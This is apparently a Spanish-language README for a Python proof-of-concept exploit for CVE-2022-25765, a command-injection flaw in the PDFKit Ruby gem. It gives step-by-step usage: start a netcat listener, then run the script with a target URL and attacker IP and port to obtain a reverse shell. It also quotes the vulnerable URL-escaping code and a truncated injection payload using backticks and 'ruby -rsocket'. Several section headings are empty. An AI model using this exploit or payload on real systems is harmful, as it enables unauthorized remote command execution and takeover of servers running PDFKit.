
# PoC en Python para CVE-2022-25765, una inyección de comandos crítica en PDFKit. Genera una reverse shell mediante parámetros URL sin sanitizar pasados a wkhtmltopdf. Incluye instrucciones de uso y análisis técnico de la vulnerabilidad.
Un pequeño exploit PoC para CVE-2022-25765, PDFkit-CMD-Injection
Inicia un listener de netcat en tu máquina de ataque:
nc -lvnp 4444
Ejecuta el exploit:
python cve-2022-25765.py -t http://TARGET_IP:PORT -l YOUR_IP -p YOUR_PORT
Ejemplo:
python cve-2022-25765.py -t http://10.40.11.43:80 -l 10.10.14.12 -p 4444
Parámetros:
-t, --target: URL objetivo que ejecuta PDFKit vulnerable-l, --lhost: Tu dirección IP para la conexión de reverse shell-p, --lport: Tu puerto para la conexión de reverse shell (debe coincidir con tu listener de netcat)ID de CVE: CVE-2022-25765 Puntuación CVSS v3.1: 9.8 (Crítica) Puntuación EPSS: 71.381% (percentil 99) CWE: CWE-77 - Neutralización inadecuada de elementos especiales utilizados en un comando
PDFKit es una gema de Ruby que convierte HTML a PDF usando la herramienta de línea de comandos wkhtmltopdf. La vulnerabilidad existe en cómo PDFKit maneja los parámetros de URL antes de pasarlos a los comandos del shell del sistema para la generación de PDF.
La vulnerabilidad reside en lib/pdfkit/source.rb donde la sanitización de URL está implementada incorrectamente:
def shell_safe_url
url_needs_escaping? ? URI::DEFAULT_PARSER.escape(@source) : @source
end
El Problema:
Vector de Ataque:
Este PoC explota la vulnerabilidad al:
http://ATTACKER_IP:PORT/?name=%20` ruby -rsocket...`'En el Sistema Objetivo: